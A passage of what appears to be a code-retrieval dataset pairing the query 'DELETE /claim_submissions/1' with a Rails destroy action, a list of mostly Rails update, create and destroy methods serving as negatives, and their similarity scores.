params['assignment'].delete 'submission_due_time(1i)'\n params['assignment'].delete 'submission_due_time(5i)'\n params['assignment'].delete 'submission_due_time(2i)'\n params['assignment'].delete 'submission_due_time(3i)'\n params['assignment'].delete 'submission_due_time(4i)'\n params['assignment'].delete 'submission_due_time(5i)'\n\n params['assignment']['review_due_time'] = params['assignment']['review_due_time(4i)'] + ':' + params['assignment']['review_due_time(5i)']\n params['assignment'].delete 'review_due_time(1i)'\n params['assignment'].delete 'review_due_time(5i)'\n params['assignment'].delete 'review_due_time(2i)'\n params['assignment'].delete 'review_due_time(3i)'\n params['assignment'].delete 'review_due_time(4i)'\n params['assignment'].delete 'review_due_time(5i)'\n\n @assignment = Assignment.find(params[:id])\n @reviewing_tasks = @assignment.evaluations.forUser(current_user).sort_by{|e| e.created_at}\n @URL = course_assignment_path(@course, @assignment)\n\n unless @assignment.team\n @assignment.memberships.each{|m| m.destroy }\n end\n\n if params['publish']\n params[:assignment][:draft] = @assignment.draft ? '0' : '1'\n end\n\n respond_to do |format|\n if @assignment.update_attributes(params[:assignment])\n format.html { render action: \"edit\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update\n @submission = Submission.find(params[:submission])\n respond_to do |format|\n if @submission.update_attributes(params[:submission])\n format.html { redirect_to :back}\n else\n format.html { redirect_to [@course, @assignment] , flash: {error: combine(@submission.errors.messages[:url])} }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @registration_request = RegistrationRequest.find(params[:id])\n\n if @registration_request.update(registration_request_params)\n head :no_content\n else\n render json: @registration_request.errors, status: :unprocessable_entity\n end\n end",
"def update\n @scratcher = Scratcher.find(params[:id])\n\n if @scratcher.update(permitted_params)\n head :no_content\n else\n render json: @scratcher.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @appissue.update(appissue_params)\n format.html { redirect_to @appissue, notice: 'Appissue was successfully updated.' }\n format.json { render :show, status: :ok, location: @appissue }\n else\n format.html { render :edit }\n format.json { render json: @appissue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @issue.update(issue_params)\n show\n else\n render json: @issue.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @git_hub_issue.update(git_hub_issue_params)\n format.html { redirect_to @git_hub_issue, notice: 'Git hub issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @git_hub_issue }\n else\n format.html { render :edit }\n format.json { render json: @git_hub_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @event_requirement = EventRequirement.find(params[:id])\n\n if @event_requirement.update(event_requirement_params)\n head :no_content\n else\n render json: @event_requirement.errors, status: :unprocessable_entity\n end\n end",
"def update\n \n if @observation.update(observation_params)\n # Todo: Uncomment following line in production\n #UploadApprovalMailer.approve(current_user).deliver\n redirect_to @observation, flash: {success: \"Observation was successfully updated.\" }\n else\n render action: 'edit'\n end\n end",
"def patch_new_submission(kapp_slug, form_slug, payload={}, headers=default_headers)\n # set the currentPage hash if currentPage was passed as a string\n payload[\"currentPage\"] = { \"name\" => payload[\"currentPage\"] } if payload[\"currentPage\"].is_a? String\n # set origin hash if origin was passed as a string\n payload[\"origin\"] = { \"id\" => payload[\"origin\"] } if payload[\"origin\"].is_a? String\n # set parent hash if parent was passed as a string\n payload[\"parent\"] = { \"id\" => payload[\"parent\"] } if payload[\"parent\"].is_a? String\n # prepare any attachment values\n payload[\"values\"] = prepare_new_submission_values(kapp_slug, form_slug, payload[\"values\"])\n # Create the submission\n @logger.info(\"Patching a submission in the \\\"#{form_slug}\\\" Form.\")\n patch(\"#{@api_url}/kapps/#{kapp_slug}/forms/#{form_slug}/submissions\", payload, headers)\n end",
"def update\n @ticket.update_attributes(params[:ticket])\n\n respond_with(@story, @ticket)\n end",
"def update\n respond_to do |format|\n if @table_submission.update(table_submission_params)\n format.html { redirect_to @table_submission, notice: 'Table submission was successfully updated.' }\n format.json { render :show, status: :ok, location: @table_submission }\n else\n format.html { render :edit }\n format.json { render json: @table_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n request = Request.find_by_id(params[:id])\n if request\n request.status = 1\n if request.save\n render json: {\n status: 'success',\n message: 'Request marked as fulfilled',\n },\n status: :ok\n else\n render json: {\n status: 'error',\n message: 'Request failed',\n data: request.errors,\n },\n status: :unprocessable_entity\n end\n else\n render status: :unauthorized\n end\n end",
"def update\n @step = TaskrequestsStep.find(params[:taskrequests_step_id])\n @absence_request = @step.absence_requests.find(params[:id])\n\n respond_to do |format|\n if @absence_request.update_attributes(params[:absence_request])\n format.html { redirect_to(@absence_request, :notice => 'Absence request was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @absence_request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @normal_issue = NormalIssue.find(params[:id])\n\n respond_to do |format|\n if @normal_issue.update_attributes(params[:normal_issue])\n format.html { redirect_to @normal_issue, notice: 'Normal issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @normal_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submit_form_0966\n ClaimsApi::Logger.log('itf', detail: '0966 - Request Started')\n validate_json_schema\n validate_veteran_identifiers(require_birls: true)\n check_for_invalid_burial_submission! if form_type == 'burial'\n ClaimsApi::Logger.log('itf', detail: '0966 - Controller Actions Completed')\n\n bgs_response = local_bgs_service.insert_intent_to_file(intent_to_file_options)\n if bgs_response.empty?\n ClaimsApi::IntentToFile.create!(status: ClaimsApi::IntentToFile::ERRORED, cid: token.payload['cid'])\n raise ::Common::Exceptions::ResourceNotFound.new(detail: 'Veteran ID not found')\n else\n ClaimsApi::IntentToFile.create!(status: ClaimsApi::IntentToFile::SUBMITTED, cid: token.payload['cid'])\n ClaimsApi::Logger.log('itf', detail: 'Submitted to BGS')\n render json: bgs_response,\n serializer: ClaimsApi::IntentToFileSerializer\n end\n end",
"def update\n @compromise = Compromise.find(params[:id])\n\n respond_to do |format|\n if @compromise.update_attributes(params[:compromise])\n format.html { redirect_to @compromise, notice: 'Compromise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @compromise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @requirement.update_attributes(requirement_params)\n format.html { redirect_to action: :index, notice: 'Update Success.' }\n format.json { render action: :index, status: :accepted }\n else\n format.html { render action: :edit }\n format.json { render json: @requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tr_rfq_submission = TrRfqSubmission.new(tr_rfq_submission_params)\n respond_to do |format|\n if @tr_rfq_submission.save\n\n format.html { redirect_to inquiries_path, notice: 'Quotation was successfully created.' }\n format.json { render :show, status: :created, location:inquiries_path }\n TrRfq.find(@tr_rfq_submission.tr_rfq_id).update(status: 'Submitted');\n else\n format.html { render :new }\n format.json { render json: @tr_rfq_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @special_requirement.update(special_requirement_params)\n format.html { redirect_to @special_requirement, notice: 'Special requirement was successfully updated.' }\n format.json { render :show, status: :ok, location: @special_requirement }\n else\n format.html { render :edit }\n format.json { render json: @special_requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @choice = Choice.find(params[:id])\n\n if @choice.update(choice_params)\n head :no_content\n else\n render json: @choice.errors, status: :unprocessable_entity\n end\n end",
"def claim\n if (current_user) && (@post.status == 'new') && (@post.creator_id == current_user.id)\n @post.status = 'claimed'\n @post.save\n respond_to do |format|\n format.json {render json: '[]', status: :ok}\n end\n else\n respond_to do |format|\n format.json {render json: [], status: :unprocessable_entity}\n end\n end\n end",
"def create\n @entry = Entry.new(entry_params)\n\n @entry.user_id = current_user.id\n @entry.challenge_id = current_open_challenge.id\n\n submission = Entry.find_by_challenge_id_and_user_id(@entry.challenge_id, @entry.user_id)\n \n if submission.blank?\n respond_to do |format|\n if @entry.save\n format.html { redirect_to @entry, notice: 'Entry was successfully created.' }\n format.json { render json: @entry, status: :created, location: @entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to submission }\n format.json { render json: submission }\n end\n end\n end"
] |
[
"0.6415024",
"0.6354963",
"0.6158007",
"0.61313814",
"0.6063084",
"0.5971259",
"0.5859312",
"0.5801251",
"0.57798254",
"0.57783216",
"0.5768422",
"0.5757671",
"0.57420313",
"0.5669171",
"0.5662383",
"0.56543",
"0.5653432",
"0.56460124",
"0.5645715",
"0.56304663",
"0.56257087",
"0.5608205",
"0.5608205",
"0.5590138",
"0.5589793",
"0.55788773",
"0.5563468",
"0.55574644",
"0.5497205",
"0.54901505",
"0.5479077",
"0.54759294",
"0.54712194",
"0.54463035",
"0.5446025",
"0.5423142",
"0.54220957",
"0.5416038",
"0.5406877",
"0.54064626",
"0.53993887",
"0.5390664",
"0.53799206",
"0.5370953",
"0.5362033",
"0.5360427",
"0.53518057",
"0.5332434",
"0.53270906",
"0.53252596",
"0.53252596",
"0.53174263",
"0.53132504",
"0.53092986",
"0.5300037",
"0.52987546",
"0.529843",
"0.52931255",
"0.5285889",
"0.5284653",
"0.52809083",
"0.5275317",
"0.52751666",
"0.5271201",
"0.52704996",
"0.52697283",
"0.5268719",
"0.5259751",
"0.525134",
"0.52486044",
"0.5246521",
"0.52437776",
"0.52360797",
"0.5233799",
"0.52316356",
"0.5230704",
"0.5230499",
"0.52285075",
"0.52207094",
"0.52190715",
"0.5213959",
"0.52121717",
"0.52118546",
"0.52110845",
"0.5209003",
"0.5203932",
"0.51990116",
"0.51975423",
"0.5195209",
"0.5191116",
"0.5189075",
"0.5187261",
"0.5182531",
"0.5182288",
"0.51779956",
"0.51777345",
"0.5176706",
"0.5175908",
"0.5175886",
"0.51752126"
] |
0.7159447
|
0
|
DELETE /claim_submissions/1 DELETE /claim_submissions/1.json
|
def destroy
@claim_submission = ClaimSubmission.find(params[:id])
@claim_submission.destroy
respond_to do |format|
format.html { redirect_to claim_submissions_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @claim.destroy\n respond_to do |format|\n format.html { redirect_to claims_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email_submission = EmailSubmission.find(params[:id])\n @email_submission.destroy\n\n respond_to do |format|\n format.html { redirect_to email_submissions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission.destroy\n respond_to do |format|\n format.html { redirect_to submissions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission.destroy\n respond_to do |format|\n format.html { redirect_to submissions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission.destroy\n respond_to do |format|\n format.html { redirect_to submissions_url }\n format.json { head :no_content }\n end\n end",
"def delete\n Submission.find(params[:id]).destroy\n redirect_to '/submissions'\n end",
"def destroy\n @submission = Submission.find(params[:id])\n @submission.destroy\n\n respond_to do |format|\n format.html { redirect_to submissions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission = Submission.find(params[:id])\n @submission.destroy\n\n respond_to do |format|\n format.html { redirect_to submissions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission = Submission.find(params[:id])\n @submission.destroy\n\n respond_to do |format|\n format.html { redirect_to submissions_url }\n format.json { head :no_content }\n end\n end",
"def delete_form_submission(id)\n @client.raw('delete', \"/content/forms/submissions/#{id}\")\n end",
"def destroy\n @test_submission = TestSubmission.find(params[:id])\n @test_submission.destroy\n\n respond_to do |format|\n format.html { redirect_to test_submissions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @claim.destroy\n respond_to do |format|\n format.html { redirect_to insurer_claims_url, notice: 'Claim was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n# authorize @submission\n if policy(@submission).destroy?\n @submission.destroy\n end\n respond_to do |format|\n format.html { redirect_to context_submissions_url, notice: 'Submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission_detail.attachment = nil\n @submission_detail.destroy\n respond_to do |format|\n format.html { redirect_to submissions_url, notice: 'Document was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @claimant = Claimant.find(params[:id])\n @claimant.destroy\n\n respond_to do |format|\n format.html { redirect_to claimants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission.destroy\n respond_to do |format|\n format.html { redirect_to submissions_url, notice: 'Submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission.destroy\n respond_to do |format|\n format.html { redirect_to submissions_url, notice: 'Submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission.destroy\n respond_to do |format|\n format.html { redirect_to submissions_url, notice: 'Submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission.destroy\n respond_to do |format|\n format.html { redirect_to submissions_url, notice: 'Submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission.destroy\n respond_to do |format|\n format.html { redirect_to submissions_url, notice: 'Submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission.destroy\n respond_to do |format|\n format.html { redirect_to submissions_url, notice: 'Submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission.destroy\n respond_to do |format|\n format.html { redirect_to submissions_url, notice: 'Submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize @form_submission, :destroy?\n @form_submission.destroy\n respond_to do |format|\n format.html { redirect_to form_submissions_url, notice: \"Form submission was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense_claim.destroy\n respond_to do |format|\n format.html { redirect_to expense_claims_url, notice: 'Expense claim was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @claim_datum.destroy\n respond_to do |format|\n format.html { redirect_to claim_data_url, notice: 'Claim datum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @research_submission.destroy\n respond_to do |format|\n format.html { redirect_to research_submissions_url, notice: 'Research submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission.destroy\n respond_to do |format|\n format.html { redirect_to submissions_url, success: 'Submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission = Submission.find(params[:id])\n @submission.destroy\n\n redirect_to(submissions_url)\n end",
"def destroy\n @tr_rfq_submission.destroy\n respond_to do |format|\n format.html { redirect_to tr_rfq_submissions_url, notice: 'Tr rfq submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @device_submission.destroy\n respond_to do |format|\n format.html { redirect_to device_submissions_url, notice: 'Device submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission = Submission.find(params[:id])\n @submission.destroy\n\n respond_to do |format|\n format.html { redirect_to(submissions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @submission = Submission.find(params[:id])\n @submission.destroy\n\n respond_to do |format|\n format.html { redirect_to(submissions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @submission = Submission.find(params[:id])\n @submission.destroy\n\n respond_to do |format|\n format.html { redirect_to(submissions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @req_breakdown = ReqBreakdown.find(params[:id])\n @req_breakdown.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_req_breakdowns_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @incident_proof.destroy\n respond_to do |format|\n format.html { redirect_to incident_proofs_url, notice: 'Incident proof was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contact_submission.destroy\n respond_to do |format|\n format.html { redirect_to contact_submissions_url, notice: 'Contact submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @budget_approver.destroy\n respond_to do |format|\n format.html { redirect_to budget_approvers_url, notice: 'Budget approver page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @badge = Badge.find(params[:id])\n @badge.destroy\n\n respond_to do |format|\n format.html { redirect_to badges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @treq = Treq.find(params[:id])\n @treq.destroy\n\n respond_to do |format|\n format.html { redirect_to treqs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gig_request = GigRequest.find(params[:id])\n @gig_request.destroy\n\n respond_to do |format|\n format.html { redirect_to gig_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission = Submission.find(params[:id])\n @submission.destroy\n\n respond_to do |format|\n format.html { redirect_to(submission_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @budget_request.destroy\n respond_to do |format|\n format.html { redirect_to budget_requests_url, notice: 'Budget request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feature_request.destroy\n respond_to do |format|\n format.html { redirect_to feature_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @funding_application_submission.destroy\n respond_to do |format|\n format.html { redirect_to funding_application_submissions_url, notice: 'Funding application submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission_method.destroy\n respond_to do |format|\n format.html { redirect_to submission_methods_url, notice: 'Submission method was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission_response.destroy\n respond_to do |format|\n format.html { redirect_to submission_responses_url, notice: 'Submission response was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @patient_risk_factor = PatientRiskFactor.find(params[:id])\n @patient_risk_factor.destroy\n\n respond_to do |format|\n format.html { redirect_to patient_risk_factors_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end",
"def destroy\n @claimauthorization.destroy\n respond_to do |format|\n format.html { redirect_to claimauthorizations_url, notice: 'Claimauthorization was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n @task_submission.destroy\n respond_to do |format|\n format.html { redirect_to task_submissions_url, notice: 'Task submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @funding_requirement.destroy\n respond_to do |format|\n format.html { redirect_to funding_requirements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submitted_answer = SubmittedAnswer.find(params[:id])\n @submitted_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to submitted_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hold_request.destroy\n respond_to do |format|\n format.html { redirect_to student_requests_path, notice: 'Hold request was deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @requisition.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @borrow_request = BorrowRequest.find(params[:id])\n @borrow_request.destroy\n\n respond_to do |format|\n format.html { redirect_to borrow_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @medium_trial = MediumTrial.find(params[:id])\n @medium_trial.destroy\n\n respond_to do |format|\n format.html { redirect_to medium_trials_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission_result.destroy\n respond_to do |format|\n format.html { redirect_to submission_results_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @claim_type.destroy\n respond_to do |format|\n format.html { redirect_to claim_types_url, notice: 'Claim type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n issues_permissions\n @issue.destroy\n respond_to do |format|\n format.html { redirect_to issues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @enrollment.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/meetings/#{shortcode_url}.json\"\n end",
"def destroy\n @shop_claim.destroy\n\n head :no_content\n end",
"def destroy\n @admission_form = AdmissionForm.find(params[:id])\n @admission_form.destroy\n\n respond_to do |format|\n format.html { redirect_to admission_forms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @electronic_approval = ElectronicApproval.find(params[:id])\n @electronic_approval.destroy\n\n respond_to do |format|\n format.html { redirect_to electronic_approvals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expectation = Expectation.find(params[:id])\n @expectation.destroy\n\n respond_to do |format|\n format.html { redirect_to expectations_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def destroy\n @normal_issue = NormalIssue.find(params[:id])\n @normal_issue.destroy\n\n respond_to do |format|\n format.html { redirect_to normal_issues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @verification_request.destroy\n respond_to do |format|\n format.html { redirect_to verification_requests_url, notice: 'Verification request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @approval = Approval.find(params[:id])\n @approval.destroy\n\n respond_to do |format|\n format.html { redirect_to approvals_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @req.destroy\n respond_to do |format|\n flash[:notice] = \"Req was successfully destroyed.\"\n format.html { redirect_to reqs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pcc_break_request = PccBreakRequest.find(params[:id])\n @pcc_break_request.destroy\n\n respond_to do |format|\n format.html { redirect_to pcc_break_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_post.destroy\n\n head :no_content\n end",
"def destroy\n @requisition = Requisition.find(params[:id])\n @requisition.destroy\n\n respond_to do |format|\n format.html { redirect_to requisitions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @table_submission.destroy\n respond_to do |format|\n format.html { redirect_to table_submissions_url, notice: 'Table submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @associated_trial.destroy\n respond_to do |format|\n format.html { redirect_to associated_trials_url, notice: 'Associated trial was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @benefit_requested.destroy\n respond_to do |format|\n format.html { redirect_to milestones_path, notice: 'Benefit requested was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @project_request = ProjectRequest.find(params[:id])\r\n @project_request.delete\r\n \r\n respond_to do |format|\r\n format.html { redirect_to my_requests_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @subscription_request = SubscriptionRequest.find(params[:id])\n @subscription_request.destroy\n\n respond_to do |format|\n format.html { redirect_to subscription_requests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @contest = Contest.find_by(path: params[:id])\n\n destroy_directory(@contest.path)\n destroy_problems(@contest)#with submits\n destroy_participants(@contest)\n @contest.destroy\n\n respond_to do |format|\n format.html { redirect_to contests_url }\n #format.json { head :no_content }\n end\n end",
"def destroy\n @mx_assessment.destroy\n respond_to do |format|\n format.html { redirect_to mx_assessments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reqdifficulty.destroy\n respond_to do |format|\n format.html { redirect_to reqdifficulties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n render status: 200, json: @request_item.destroy\n end",
"def destroy\n @pre_payment_req.destroy\n respond_to do |format|\n format.html { redirect_to pre_payment_reqs_url, notice: 'Pre payment req was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @objective = Objective.find(params[:id])\n @objective.destroy\n render json: @objective \n end",
"def destroy\n @question_attempt_response = QuestionAttemptResponse.find(params[:id])\n @question_attempt_response.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = @skill.requests.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to myrequests_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @compromise = Compromise.find(params[:id])\n @compromise.destroy\n\n head :no_content\n end",
"def destroy\n @challenge.destroy\n respond_to do |format|\n format.html { redirect_to challenges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @particular_vacancy_request.destroy\n respond_to do |format|\n format.html { redirect_to particular_vacancy_requests_url, notice: 'Particular vacancy request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @badge.destroy\n respond_to do |format|\n format.html { redirect_to badges_url, notice: 'Badge was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @signed_lease.destroy\n respond_to do |format|\n format.html { redirect_to signed_leases_url, notice: 'Signed lease was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @capa = Capa.find(params[:id])\n @capa.destroy\n\n respond_to do |format|\n format.html { redirect_to capas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to admin_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @unlimited.destroy\n respond_to do |format|\n format.html { redirect_to unlimiteds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @id_proof = IdProof.find(params[:id])\n @id_proof.destroy\n\n respond_to do |format|\n format.html { redirect_to id_proofs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reqstatus.destroy\n respond_to do |format|\n format.html { redirect_to reqstatuses_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.71459085",
"0.708304",
"0.70242375",
"0.70242375",
"0.70242375",
"0.69954276",
"0.69857734",
"0.69857734",
"0.69855833",
"0.6954726",
"0.69509745",
"0.69039905",
"0.67750174",
"0.6749984",
"0.67270607",
"0.66955394",
"0.66955394",
"0.66955394",
"0.66955394",
"0.66955394",
"0.66955394",
"0.66955394",
"0.66932625",
"0.66885316",
"0.6670751",
"0.6659578",
"0.66049606",
"0.6583368",
"0.6558574",
"0.655857",
"0.6554422",
"0.6554422",
"0.6554422",
"0.6524043",
"0.6514745",
"0.6495513",
"0.64857036",
"0.6484132",
"0.64658296",
"0.6464805",
"0.64567417",
"0.6454699",
"0.6444352",
"0.64341795",
"0.6423395",
"0.6422655",
"0.6421518",
"0.6416194",
"0.641421",
"0.6396667",
"0.63922703",
"0.6386978",
"0.6382926",
"0.63792294",
"0.63772833",
"0.63766456",
"0.6376125",
"0.63730276",
"0.6366846",
"0.6365646",
"0.6340557",
"0.6332782",
"0.6332634",
"0.63291675",
"0.6328197",
"0.6327337",
"0.6321722",
"0.63182956",
"0.6308952",
"0.63057303",
"0.63005286",
"0.62996304",
"0.62966555",
"0.62965745",
"0.62948674",
"0.62945527",
"0.6291969",
"0.62897086",
"0.62885547",
"0.6282467",
"0.6279989",
"0.62780124",
"0.6272544",
"0.62697303",
"0.6268283",
"0.6264943",
"0.6264234",
"0.62628484",
"0.6262043",
"0.62603945",
"0.6260041",
"0.62594277",
"0.6256178",
"0.625466",
"0.62535036",
"0.6252594",
"0.62460035",
"0.6242707",
"0.62396604",
"0.6236052"
] |
0.7863417
|
0
|
DELETE /admin/categories/1 DELETE /admin/categories/1.json
|
def destroy
@setting.destroy
respond_to do |format|
format.html { redirect_to admin_settings_path, notice: 'Setting was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def deleteCat()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n c = Category.find(params[:id])\n status = c.destroy\n error = \"\"\n if(c.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: true, reason: error, data: \"\"}\n end",
"def destroy\n @admin_category.destroy\n respond_to do |format|\n format.html { redirect_to admin_categories_url }\n format.json { head :no_content }\n end\n end",
"def DeleteCategory id\n \n APICall(path: \"categories/#{id}.json\",method: 'DELETE')\n \n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to admin_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n render json: @category, status: :ok\n end",
"def destroy\n return unless admin?\n\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to admin_good_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n category = set_category\n if category.destroy\n head :no_content\n else\n render json: { status: 500 }\n end\n \n end",
"def destroy\n @category.destroy\n render json: { notice: 'Categoria eliminada exitosamente' }\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_categories_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alien_category.destroy\n respond_to do |format|\n format.html { redirect_to alien_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @administration_category = Category.find(params[:id])\r\n @administration_category.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to administration_categories_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @accolade_category.destroy\n respond_to do |format|\n format.html { redirect_to admin_accolade_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to cm_post_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n head :no_content\n end",
